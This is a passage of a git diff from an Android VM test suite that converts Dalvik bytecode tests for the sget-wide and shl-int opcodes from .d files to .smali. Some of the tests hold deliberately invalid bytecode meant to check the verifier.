+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_2.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_2;
+.super  Ljava/lang/Object;
+
+.field public static val:D
+
+.method static constructor <clinit>()V
+.registers 2
+       const-wide v0, 123.0
+       sput-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_2;->val:D
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()D
+.registers 4
+
+       sget-wide v1, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_2;->val:D
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_20.d
deleted file mode 100644
index 1861a25..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_20.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_20
-.super java/lang/Object
-
-.field public static i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-wide v0, dot.junit.opcodes.sget_wide.d.T_sget_wide_20.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_20.smali
new file mode 100644
index 0000000..527111f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_20.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_20;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_20;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_3.d
deleted file mode 100644
index e672291..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_3.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_3
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-wide v3, dot.junit.opcodes.sget_wide.d.T_sget_wide_3.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_3.smali
new file mode 100644
index 0000000..6632776
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_3.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_3;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-wide v3, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_3;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_4.d
deleted file mode 100644
index 9924345..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_4.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_4
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       sget-wide v1, dot.junit.opcodes.sget_wide.d.T_sget_wide_4.i1 J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_4.smali
new file mode 100644
index 0000000..259465a1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_4.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_4;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       sget-wide v1, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_4;->i1:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_5.d
deleted file mode 100644
index e323dc0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_5.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_5.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_5
-.super java/lang/Object
-
-.field public i1 J
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-
-       const-wide v0, 5
-       iput-wide v0, v3, dot.junit.opcodes.sget_wide.d.T_sget_wide_5.i1 J
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       sget-wide v1, dot.junit.opcodes.sget_wide.d.T_sget_wide_5.i1 J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_5.smali
new file mode 100644
index 0000000..73902bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_5.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_5.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_5;
+.super  Ljava/lang/Object;
+
+.field public i1:J
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+
+       const-wide v0, 5
+       iput-wide v0, v3, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_5;->i1:J
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       sget-wide v1, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_5;->i1:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_6.d
deleted file mode 100644
index 48e59f1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_6.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       sget-wide v1, dot.junit.opcodes.sget_wide.TestStubs.TestStubField J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_6.smali
new file mode 100644
index 0000000..6371f7b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_6.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       sget-wide v1, Ldot/junit/opcodes/sget_wide/TestStubs;->TestStubField:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_7.d
deleted file mode 100644
index b34ddd6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_7.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       sget-wide v0, dot.junit.opcodes.sget_wide.d.T_sget_wide_7no_class.i1 J
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_7.smali
new file mode 100644
index 0000000..0848fcb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_7.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_7no_class;->i1:J
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_8.d
deleted file mode 100644
index d53c7dd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_8.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       sget-wide v1, dot.junit.opcodes.sget_wide.d.T_sget_wide_8.i1N J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_8.smali
new file mode 100644
index 0000000..02bb23d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_8.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       sget-wide v1, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_8;->i1N:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_9.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_9.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_9.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_9.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_9.smalis/StubInitError.smali
new file mode 100644
index 0000000..add9317
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_9.smalis/StubInitError.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_wide/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static value:J
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x5
+
+    div-int/2addr v1, v0
+
+    const-wide v0, 0x1
+
+    sput-wide v0, Ldot/junit/opcodes/sget_wide/d/StubInitError;->value:J
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_9.smalis/T_sget_wide_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_9.smalis/T_sget_wide_9.smali
new file mode 100644
index 0000000..8a0fb4b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_9.smalis/T_sget_wide_9.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_9;
+.super Ljava/lang/Object;
+.source "T_sget_wide_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()J
+    .registers 3
+
+    sget-wide v1, Ldot/junit/opcodes/sget_wide/d/StubInitError;->value:J
+
+    return-wide v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_1.d
deleted file mode 100644
index a9e9ede..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_1.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_1.java
-.class public dot.junit.opcodes.shl_int.d.T_shl_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       shl-int v0, v6, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_1.smali
new file mode 100644
index 0000000..52868d3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_1.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_1.java"
+.class  public Ldot/junit/opcodes/shl_int/d/T_shl_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shl-int v0, v6, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_2.d
deleted file mode 100644
index f1955e7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_2.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_2.java
-.class public dot.junit.opcodes.shl_int.d.T_shl_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       shl-int v0, v7, v8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_2.smali
new file mode 100644
index 0000000..44d6d46
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_2.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_2.java"
+.class  public Ldot/junit/opcodes/shl_int/d/T_shl_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shl-int v0, v7, v8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_3.d
deleted file mode 100644
index 88fff38..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_3.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_3.java
-.class public dot.junit.opcodes.shl_int.d.T_shl_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)I
-.limit regs 8
-
-       shl-int v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_3.smali
new file mode 100644
index 0000000..54208f4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_3.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_3.java"
+.class  public Ldot/junit/opcodes/shl_int/d/T_shl_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)I
+.registers 8
+
+       shl-int v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_4.d
deleted file mode 100644
index 2b2fd1e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_4.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_4.java
-.class public dot.junit.opcodes.shl_int.d.T_shl_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       shl-int v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_4.smali
new file mode 100644
index 0000000..0cff446
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_4.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_4.java"
+.class  public Ldot/junit/opcodes/shl_int/d/T_shl_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       shl-int v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_5.d
deleted file mode 100644
index 1ae15e5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_5.java
-.class public dot.junit.opcodes.shl_int.d.T_shl_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       shl-int v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_5.smali
new file mode 100644
index 0000000..86b7d41
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_5.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_5.java"
+.class  public Ldot/junit/opcodes/shl_int/d/T_shl_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shl-int v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_6.d
deleted file mode 100644
index 1527b6d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_6.d
+++ /dev/null
